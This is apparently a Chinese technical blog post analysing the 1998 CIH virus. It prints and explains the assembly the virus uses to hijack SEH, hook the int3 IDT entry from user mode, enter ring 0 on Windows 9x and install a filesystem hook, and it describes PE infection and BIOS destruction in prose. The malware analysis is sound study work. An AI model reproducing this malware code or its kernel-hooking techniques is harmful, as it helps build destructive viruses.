昨天蹲坑时刷到抖音视频，大陆游客去湾湾旅游，被路边摊的大妈问大陆是不是还在用粮票，我就在想短短20多年，湾湾的网络已经退化到这种地步了吗，于是想起了湾湾那个天才少年编写的曾经的风靡一时的cih病毒，给同事们分享下它的一些实现原理。

# 1 CIH简介

CIH病毒于1998年由湾湾23岁的大学生陈盈豪开发，据说是世界上第一款利用内核漏洞进行感染的病毒，其感染exe的方法没有利用常规的将病毒体放入pe文件的最后，而是首创了将病毒体进行拆分插入到pe的各个section的空余空间里的独特方法，同时利用了vxd驱动的能力破坏了部分型号的bios以及硬盘数据，破坏力在当时也是非常巨大的。但是这只病毒没有使用加密和变形引擎，对其进行查杀会非常简单，不过整个代码体积不到1k大小，也算不完美中的完美吧。本文分析的是CIH v1.4版本的代码，可在github上查阅。

# 2 CIH感染流程

## 2.1 利用漏洞进入内核

MyVirusStart:

push ebp

lea eax, [esp-04h\*2]

xor ebx, ebx

xchg eax, fs:[ebx]

call @0

@0:

pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]

push ecx

push eax

在进入内核前，病毒首先劫持了SEH异常处理的链表，fs:0保存的是SEH链表头，修改为指向StopToRunVirusCode地址，当时cih仅对win9x系统进行攻击，对nt内核是没有威胁的，因为nt内核已经抛弃了vxd框架，改为现在大家熟悉的wdm。所以碰到nt内核会造成病毒进程的异常，病毒自己捕获到异常后就可以平稳退出。这里多说一下call @0;pop ebx这条指令组合是病毒和shellcode常用的技巧，call指令会将下一条指令的地址push到栈里，然后将下一条指令作为call的函数地址，当pop指令执行时，从栈里弹出的地址保存在ebx，所以ebx保存的就是当前指令的地址，以后就可以基于这个地址进行相对偏移计算了。

push eax ;

sidt [esp-02h] ; Get IDT Base Address

pop ebx ;

然后使用sidt指令获取当前cpu的idt基地址，注意intel处理器是允许ring3程序调用sidt指令的。

add ebx, HookExceptionNumber\*08h+04h ; ZF = 0

HookExceptionNumber是个宏，当前版本定义为3，指向的是idt表中的int 3中断处理程序，因为它要劫持中断处理程序做病毒驻留内核内存的操作，为什么要劫持int3，而不是其他中断呢？翻看intel手册你可以看到int3是调试用的单步断点中断，此时即使有其他进程使用int3指令，最多那个进程可能会crash掉，但如果劫持其他中断就可能造成内核crash，所以劫持int3是最稳妥的方案。注意idt表中的段描述符是8个字节大小，所以HookExceptionNumber要乘以0x8，后面+0x4是要提取段的基地址。intel对段描述符的定义有些奇葩，看上去很不合理，一个4字节的地址，要拆分到两个连续的4字节中的高低各2字节中，对intel保护模式不熟悉的朋友请自行查阅手册。

cli

关中断，准备劫持int3。

mov ebp, [ebx] ; Get Exception Base

mov bp, [ebx-04h] ; Entry Point

如上所述，提取基地址保存在ebp的高低两字节里。

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;

shr esi, 16 ; Modify Exception

mov [ebx+02h], si ; Entry Point Address

pop esi

这段代码操作是把病毒代码中的MyExceptionHook地址替换掉原来的段地址。注意此时病毒是在ring3中，却能修改掉ring0中的idt数据段，正常流程中intel处理器是不允许ring3直接访问ring0数据的，386处理器诞生于1985年，离当时已经过去了10多年，同时那个年底似乎也没有听到过其他操作系统有这个问题，所以不像是处理器的漏洞，那么应该是win9x的内核漏洞或vxd框架的漏洞，由于年代久远，笔者也未能google到这个漏洞的细节，如果有同事熟悉的请告知我。

int HookExceptionNumber ; GenerateException

ReturnAddressOfEndException = $

调用一次int3指令，此时会跳转到病毒体的MyExceptionHook代码中。

MyExceptionHook:

@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

注意int指令调用后，当前进程已经进入了cpu的ring0空间，但是int3的中断处理程序指向了ring3的代码片段，当时intel cpu还没有smep/smap的机制，所以ring0是可以调用ring3代码的。调用int3之前，病毒代码确保了zf标志为0，所以jz这条指令此次不会跳转，继续执行后面的指令：

mov ecx, dr0

jecxz AllocateSystemMemoryPage

接着判断dr0寄存器是否为0，第一次执行时dr0为空（前提是没有其他驱动使用了dr0），后面病毒会将dr0置为一个hook函数地址。所以继续执行AllocateSystemMemoryPage函数为病毒分配一个内核内存空间：

AllocateSystemMemoryPage:

mov dr0, ebx ; Set the Mark of My Virus Exist in System

push 00000000fh ;

push ecx ;

push 0ffffffffh ;

push ecx ;

push ecx ;

push ecx ;

push 000000001h ;

push 000000002h ;

int 20h ; VMMCALL \_PageAllocate

\_PageAllocate = $ ;

dd 00010053h ; Use EAX, ECX, EDX, and flags

使用int20h指令，调用vmm(virtual machine manger)函数\_PageAllocate分配一块内存。Vxd（virtual xxx device)提供了一套虚拟硬件的执行框架，基于intel的virutal 8086模式，所以需要一个类似今天的虚拟机控制框架vmm，这个vmm微软是把它和win9x内核绑定在一起的。Intel当时还没有更高级的intel vt-x虚拟化技术。

add esp, 08h\*04h

恢复之前push到栈中的参数占用的空间。

xchg edi, eax ; EDI = SystemMemory Start Address

\_PageAllocate函数返回值保存在eax里，将其与edi进行了交换，后面会看到其意图。

lea eax, MyVirusStart-@2[esi]

Eax置为病毒体的首地址。

iretd ;

注意此时进程处于ring0中，应使用iretd返回用户空间。此时栈底的结构从高到低为ss,sp,cflags,cs,ip，ip就是iretd执行后要返回的用户态代码地址：

int HookExceptionNumber ; GenerateException

ReturnAddressOfEndException = $

push esi

mov esi, eax

注意iretd前，病毒将eax置为了MyVirusStart地址，然后保存在esi中，edi在iretd之前保存了新分配的内核地址空间。

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

Eax-0x4的地址我们在源码之前看到有这样的定义：

FileHeader:

dd 00000000h, VirusSize

Eax-0x4保存的为病毒的代码大小。

rep movsb

将病毒代码拷贝到新分配的内核地址空间，注意此时病毒运行在ring3，却能拷贝代码到ring0中，这和之前劫持int3的动作都利用了之前提到的漏洞问题。

sub eax, 08h

mov esi, [eax]

or esi, esi

jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

Eax-0x8病毒初始化为了0，所以循环可以结束，同时zf标志位已经为1。

int HookExceptionNumber ;

紧接着又执行了一条int3指令。

MyExceptionHook:

@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

注意此时zf标志已经为1，将会调用InstallMyFileSystemApiHook函数。

InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook-@6[edi]

push eax ;

int 20h ; VXDCALL IFSMgr\_InstallFileSystemApiHook

IFSMgr\_InstallFileSystemApiHook = $ ;

dd 00400067h ; Use EAX, ECX, EDX, and flags

mov dr0, eax ; Save OldFileSystemApiHook Address

pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr\_InstallFileSystemApiHook Entry Point

mov ecx, IFSMgr\_InstallFileSystemApiHook-@2[esi]

mov edx, [ecx]

mov OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr\_InstallFileSystemApiHook Entry Point

lea eax, InstallFileSystemApiHook-@3[eax]

mov [ecx], eax

病毒利用了vxd的VXDCALL IFSMgr\_InstallFileSystemApiHook函数将自身的FileSystemApiHook函数挂钩到了文件系统中。在当时病毒和杀毒软件，或者像windows sysinternals这种系统工具都是利用vxd的这个函数进行在win9x系统中劫持一些关键内核函数。注意nt内核不使用vxd。

cli

jmp ExitRing0Init

接着跳转到ExitRing0Init，准备退出ring0。

ExitRing0Init:

mov [ebx-04h], bp ;

shr ebp, 16 ; Restore Exception

mov [ebx+02h], bp ;

还记得最开始的代码中，ebp保存了原始的idt int3中断处理函数地址，现在要恢复回去，因为病毒已经驻留在内核内存中，并且挂钩了文件系统。

Iretd

iretd返回用户空间代码：

ReadyRestoreSE:

sti

此时可以开中断了。

xor ebx, ebx

jmp RestoreSE

准备恢复SEH链表头。

RestoreSE:

pop dword ptr fs:[ebx]

pop eax

在之前的栈布局中保存了原始的SEH链表头。

pop ebp

push 00401000h ; Push Original

OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ;

然后跳转到进程的00401000h地址，也就是进程原始的entry point去运行。可以看到win9x系统应该没有使用aslr地址随机化技术，都是链接到固定地址。

我们还要在看下如下代码：

MyExceptionHook:

@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

mov ecx, dr0

jecxz AllocateSystemMemoryPage

上述代码在前面已经分析过，如下代码在cih的正常初始化中是不会被调用的，但是要保证病毒的稳定性，在有其他异常时会绕过前面的代码，说明病毒初始化失败。

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

注意此时[esp]保存的是iretd要返回的用户空间地址ReadyRestoreSE，前面已经分析过了，恢复SEH继续运行原始代码。

ExitRing0Init:

mov [ebx-04h], bp ;

shr ebp, 16 ; Restore Exception

mov [ebx+02h], bp ;

Iretd

## 2.2 感染pe流程

在前面的病毒初始化中已经使用FileSystemApiHook挂钩了文件系统，对文件的任何读写操作都会被病毒捕获。传统的病毒是遍历磁盘的所有pe格式文件，cih利用了rootkit的hook方法就可以省略到那些遍历代码，这就是它自身大小不到1k的另一个原因。

后面的逻辑大概是判断当前文件类型是不是pe，如果是zip文件则忽略掉。修改文件之前保存文件属性，后续恢复。只读文件改成可写，然后恢复。将病毒体保存在pe头以及各个section中。

这些都是病毒感染的常规操作，感兴趣的同事可以自行阅读，对于不熟悉windows及pe格式的同事，也可以在笔者的博客中找到笔者为linux平台编写的病毒和加壳代码示例。 至于破坏bios和硬盘的操作基本都是利用vxd在ring0空间的优势，往bios和磁盘写垃圾数据，并没有多少技术含量对吧，但是上世纪8，90年代的病毒作者们都是一些16，7岁的小孩们，那个年纪就是叛逆啊，不写破坏性的东西，难道要他们去考可信吗。